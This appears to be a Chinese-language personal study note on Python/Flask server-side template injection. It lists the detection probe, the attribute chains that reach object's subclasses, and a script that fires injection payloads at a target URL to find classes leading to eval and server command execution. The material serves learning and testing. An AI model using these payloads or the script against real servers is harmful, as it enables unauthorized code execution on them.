Python_ssti学习(一)

呜呜呜,俺是菜鸡,现在才开始学ssti

判断

{{7*7}}

函数解析

__class__ #返回调用的参数类型
__bases__ #返回类型列表
__mro__ #此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() #返回object的子类
__globals__ #函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

使用''.__class__.__mro__{}.__class__.__base__([].__class__.__base__().__class__.__base__)以及request.__class__.__mro__,得到所有类

''.__class__.__mro__ #(<class 'str'>, <class 'object'>)
{}.__class__.__base__ #<class 'object'>
request.__class__.__mro__ #(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'flask.wrappers.JSONMixin'>, <class 'object'>)

然后取基本类(object),也就是''.__class__.__mro__[1]{}.__class__.__base__[0]request.__class__.__mro__[9]

之后再获取基本类的子类,也就是''.__class__.__mro__[1].__subclasses__(){}.__class__.__base__[0].__subclasses__()request.__class__.__mro__[9].__subclasses__()

寻找没有重载的函数

对上面的子类分别.__subclasses__()查看其子类,并查看各个的__init__类,并寻找是否带warpper,带wrapper说明没有重载,需要寻找不带warpper的。找到后查看其引用__builtins__,这个函数可以查看子类里面的所有内置函数,然后就可以调用危险的函数诸如eval或file等等函数来对服务器进行任务执行。这里手码了一个简单的脚本,可以稍微修改来寻找可用的子类:

import requests
from html.parser import HTMLParser
from tqdm import tqdm

url = 'url'
payload1 = '{{{}.__class__.__bases__[0].__subclasses__()}}'
re1 = requests.get(url+payload1)
l = HTMLParser().unescape(re1.text).split('>, <')
lenth = len(l)
res = {}
for i in tqdm(range(lenth)):
    payload2 = '{{{}.__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__}}'
    re2 = HTMLParser().unescape(requests.get(url+payload2).text)
    # print(re2)
    if 'wrapper' not in re2:
        res.update({re2:i})
print(res)
        

呜呜呜如有错误,请大佬们提一下,此仅为个人笔记。